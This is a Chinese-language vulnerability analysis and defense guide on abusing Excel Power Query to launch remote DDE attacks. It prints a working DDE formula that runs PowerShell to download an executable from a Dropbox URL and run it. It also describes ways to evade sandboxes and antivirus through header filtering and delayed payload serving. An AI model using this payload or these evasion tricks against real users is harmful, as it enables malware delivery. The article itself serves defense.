利用Excel power query实现远程DDE执行
字数 1302 2025-08-27 12:33:31
利用Excel Power Query实现远程DDE执行漏洞分析与防护指南
概述
Mimecast研究人员发现微软Excel中的Power Query功能可被用于动态启动远程DDE(动态数据交换)攻击,控制payload执行。Power Query是Excel插件和Power BI组件,用于简化数据发现、访问和协作操作,增强商业智能自助服务体验。
攻击原理与技术细节
Power Query的攻击面分析
- 动态嵌入远程内容:攻击者可将恶意内容嵌入单独数据源,当文件打开时加载到表单中
- 指纹识别能力:可在传播payload前对沙箱或受害者机器进行指纹识别
- 多阶段攻击:支持pre-payload和pre-exploitation阶段,提高攻击成功率
攻击流程实现
-
DDE漏洞利用:
- 创建保存payload的外部web页面
- 编写简单的HTTP服务器监听80端口
- 响应包含DDE命令的恶意内容
=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1 -
文件格式分析:
table/table1.xml包含查询表特征_rels/table1.xml.rels描述表与查询表的链接关系queryTable1.xml使用connectionId链接到connection.xml- Web查询保存在
xl\customXL\item1中,采用base64编码
-
执行机制:
- 用户需双击单元格加载DDE,再次点击释放执行
- 触发DDE后启动从web端接收的payload
绕过技术
-
绕过双击要求(自动执行):
- Office 2016:创建
dbPr对象,需要用户交互 - Office 2010:创建
webPr对象,无需交互即可运行payload
- Office 2016:创建
-
绕过AV和沙箱检测:
- HTTP Header过滤:服务器仅在特定Header(如Referer为www.google.com)时返回恶意内容
- Power Query高级模式:可设置特定web header,确保只有Excel请求能获取payload
- 定时刷新机制:
- 设置文件每分钟更新
- 第10次查询时才服务payload
- 使10分钟内执行文件的沙箱无法获取完整payload
防御措施
微软官方建议
- 使用组策略拦截外部数据连接
- 参考微软安全公告4053440,确保应用安全处理DDE域
企业防护方案
-
禁用高风险功能:
- 禁用Power Query或限制其使用权限
- 禁用DDE协议或限制其执行权限
-
网络层防护:
- 监控和过滤出站HTTP请求,特别是来自Office应用的
- 拦截可疑的Referer header请求
-
终端防护:
- 部署高级威胁防护方案,检测多阶段攻击
- 实施应用程序控制,限制PowerShell等脚本执行
-
用户教育:
- 培训用户识别可疑Excel文件
- 警告不要启用不明来源的外部内容
技术总结
该漏洞利用展示了Power Query作为攻击面的潜在风险,结合了:
- 远程内容嵌入
- DDE协议滥用
- 沙箱和AV绕过技术
- 多阶段攻击策略
这种攻击方式难以检测,因为恶意内容本身不直接存在于文件中,而是在打开时动态加载。组织应采取纵深防御策略,结合技术控制与用户教育来防范此类高级威胁。